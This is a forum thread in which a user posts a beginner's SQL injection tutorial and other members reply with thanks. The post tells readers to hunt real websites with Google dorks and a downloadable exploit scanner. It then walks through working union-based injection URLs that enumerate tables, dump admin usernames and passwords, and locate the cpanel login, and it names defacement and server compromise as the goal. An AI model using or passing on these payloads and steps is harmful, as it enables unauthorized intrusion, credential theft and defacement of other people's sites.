Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
SQL Injection Tutorial For Beginners
  • KraZi
    Posts: 40
    Hello fellow Firewire-Security members. I've been wanting to post a tut on sql injection and here goes my take on it. Also please please leave me feedback and any suggestions. Thanks :)

    What exactly is SQL Injection?

    SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (wikipedia definition)

    What will I need to perform an SQL Injection attack?

    [+] exploit scanner
    [+] a good list of "google dorks"
    [+] admin finder
    [+] half a brain and the will to learn lol :P

    I have provided all but 2 (in a .rar package available for download below) of the stated things above that you need. Also provided is a virus scan of the .rar for the skeptics lol

    CLICK HERE TO DOWNLOAD THE TOOLS

    Yes I know its 2/41. Its the exploit scanner. Its dectected as a Exploits/Riskware scanner. I myself use this same tool and no I'm not infected.

    [spoiler]
    Antivirus  	Version  	Last Update  	Result
    a-squared 4.5.0.50 2010.01.18 -
    AhnLab-V3 5.0.0.2 2010.01.18 -
    AntiVir 7.9.1.142 2010.01.18 SPR/Tool.ExpScan
    Antiy-AVL 2.0.3.7 2010.01.18 -
    Authentium 5.2.0.5 2010.01.18 -
    Avast 4.8.1351.0 2010.01.18 -
    AVG 9.0.0.730 2010.01.18 -
    BitDefender 7.2 2010.01.18 -
    CAT-QuickHeal 10.00 2010.01.18 -
    ClamAV 0.94.1 2010.01.18 -
    Comodo 3625 2010.01.18 -
    DrWeb 5.0.1.12222 2010.01.18 -
    eSafe 7.0.17.0 2010.01.17 -
    eTrust-Vet 35.2.7243 2010.01.18 -
    F-Prot 4.5.1.85 2010.01.17 -
    F-Secure 9.0.15370.0 2010.01.18 -
    Fortinet 4.0.14.0 2010.01.18 -
    GData 19 2010.01.18 -
    Ikarus T3.1.1.80.0 2010.01.18 -
    Jiangmin 13.0.900 2010.01.18 -
    K7AntiVirus 7.10.949 2010.01.16 -
    Kaspersky 7.0.0.125 2010.01.18 -
    McAfee 5864 2010.01.17 -
    McAfee+Artemis 5864 2010.01.17 -
    McAfee-GW-Edition 6.8.5 2010.01.18 Riskware.Tool.ExpScan
    Microsoft 1.5302 2010.01.18 -
    NOD32 4783 2010.01.18 -
    Norman 6.04.03 2010.01.18 -
    nProtect 2009.1.8.0 2010.01.18 -
    Panda 10.0.2.2 2010.01.17 -
    PCTools 7.0.3.5 2010.01.18 -
    Prevx 3.0 2010.01.18 -
    Rising 22.31.00.04 2010.01.18 -
    Sophos 4.49.0 2010.01.18 -
    Sunbelt 3.2.1858.2 2010.01.17 -
    Symantec 20091.2.0.41 2010.01.18 -
    TheHacker 6.5.0.6.154 2010.01.18 -
    TrendMicro 9.120.0.1004 2010.01.18 -
    VBA32 3.12.12.1 2010.01.17 -
    ViRobot 2010.1.18.2142 2010.01.18 -
    VirusBuster 5.0.21.0 2010.01.18 -
    [/spoiler]

    Ok after you are done downloading the tools. Open the .rar located on your desktop. Now open the .txt called "dorks'. From this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.

    index.php?id=


    After you have chose a dork like above, copy it into your clipboard for further use. Now open your exploit scanner.exe. (scanner made by reiluke). At the top where it says "Dork" your going to want to paste your dork into the box. It should look something like this.

    [spoiler]http://i825.photobucket.com/albums/zz175/KraZi_HaXz/sqli1.jpg[/spoiler]

    Atfer you have done this your going to want to switch your "Max Url" from 100 to 1000 for alot of search results. Then press scan on your exploit scanner. After it is done scanning your going to press "Test Sites". After all this is done you should have two lists and it should look like this.

    [spoiler]http://i825.photobucket.com/albums/zz175/KraZi_HaXz/sqli2.jpg[/spoiler]

    After it is done testing all scanned sites. These pre-tested sites might be sqli vulnerable. But you must first check each site individually. To test a individual site add a " ' " after the url. For example.

    sqlivulnerablesite.com/index.php?id=1'


    With this exploit scanner it auto-quotes all the urls.

    Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


    Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.

    sqlivulnerablesite.com/index.php?id=1 order by 1--


    Load the page. If the page loads correctly with that code injection in the url then we are on the right track ;)

    Knowing that there is already 1 column in this database we do another code injection. Like this.

    sqlivulnerablesite.com/index.php?id=1 order by 2--


    If the page loads correctly again then this attack can still be performed.

    Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10.

    If you load the web page on a code injection like this.

    sqlivulnerablesite.com/index.php?id=1 order by 10--


    and you get a result like this.

    Unknown column '10' in 'order clause'


    Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.

    sqlivulnerablesite.com/index.php?id=1 order by 9--


    If your page loads correctly then this means there is 9 columns in the database :yeye:

    The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.

    sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--


    After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.

    sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9


    When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.

    sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--


    After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.


    sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--


    Here (x) is the ascii value of the table name.

    Now we must find the ascii value of the word admins.

    GO HERE TO CONVERT TEXT TO ASCII

    The ascii value of admins is

    & #97 ; & #100 ; & #109 ; & #105 ; & #110; & #115 ;


    Delete all the ";" , "#" , and "&". So it should look like this.

    97,100,109,105,110,115


    Now replace the the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.

    sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--


    When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.

    sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --


    (0x3a) is the ascii value of the column name

    When the page loads it should show the data of the username and password for cpanel access.

    Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise.

    Hopefully someone found this thread useful/helpful. I take full credit in writing this tutorial out. PM me if you need any further help with your sql injections! :heart:

    Tutorial By KraZi
  • Xin
    Posts: 3,251
    Great tutorial! Really clear :) keep it up .
    Xin
  • KraZi
    Posts: 40
    said:


    Great tutorial! Really clear :) keep it up .



    Thanks man. I showed George it and he said he was giving me a bronze tutorial award but I guess he got offline.
  • knyn21
    Posts: 3
    Great Tutorial! Sooooo Easy to follow.
  • Great Guide!
    easy to follow but a lot to read
    I will read it all later
    Thx
  • ikaw
    Posts: 25
    @lonleycrow
    lol! Yah, you're right... As I have started to read at the 2nd code, dang, my brain started to bleed... lols! I will read this later if I have much time..
  • GameOver
    Posts: 675
    Very nice tutorial dude!

    Too helpful for beginners! Good work!
  • Bursihido
    Posts: 406
    very nice tutorial bro ...:) ......
  • no17
    Posts: 54
    Thanks in advance
  • Sh3llc0d3
    Posts: 1,910
    Thanks in advance KraZi :)

    Edit: It's a great tut, seen it before elsewhere you posted it but still a good read and easy to follow :)
  • Thanks Verry Nice Tutorial
  • ixytolic
    Posts: 6
    thanks, cant wait to see this
  • vegito2010
    Posts: 17
    Thanks in advance
  • I get the error while Itry to scan sites:
    Cannot connect to the external sites

    (My error is Dutch, I tried to translate it)
  • Firewire?

    ontopic: great tutorial very clear for beginners like me.
  • Xin
    Posts: 3,251
    said:


    Firewire?

    ontopic: great tutorial very clear for beginners like me.



    Firewire-security is our old name
    Xin
  • n3tz3ro
    Posts: 5
    link not working but thanks for these
  • gringoire
    Posts: 12
    Really good tutorial.
    Much easier to follow than most I saw on this topic.
  • Sh3llc0d3
    Posts: 1,910
    Download the tools used here:

    http://reiluke.i.ph/

    Search the blog for them, and thats the original coders blog.
  • Mr. P-teoMr. P-teo
    Posts: 270
    Thanks very much great tutorial, helped me alot
    Skype: mrpt3o
    Twitter: MrPteo


    image
  • m0rph
    Posts: 332
    said:


    Download the tools used here:

    http://reiluke.i.ph/

    Search the blog for them, and thats the original coders blog.



    h4ck-y0u.org was a great site. I miss it. Reiluke was a phenomenal coder (don't know if he still does).

    On topic:

    I remember the first tutorial I saw of sql injection. It was made by a dude called darkc0ke from evilzone. It was fricken hilarious! He picked rfid.com to demonstrate, and he did the injection on a page by them warning about sql injections.

    I gotta say though, seeing an sql injection performed is a lot easier to understand than reading about it. But of course, isn't that the case with everything?
    while( !(succeed = try() ) );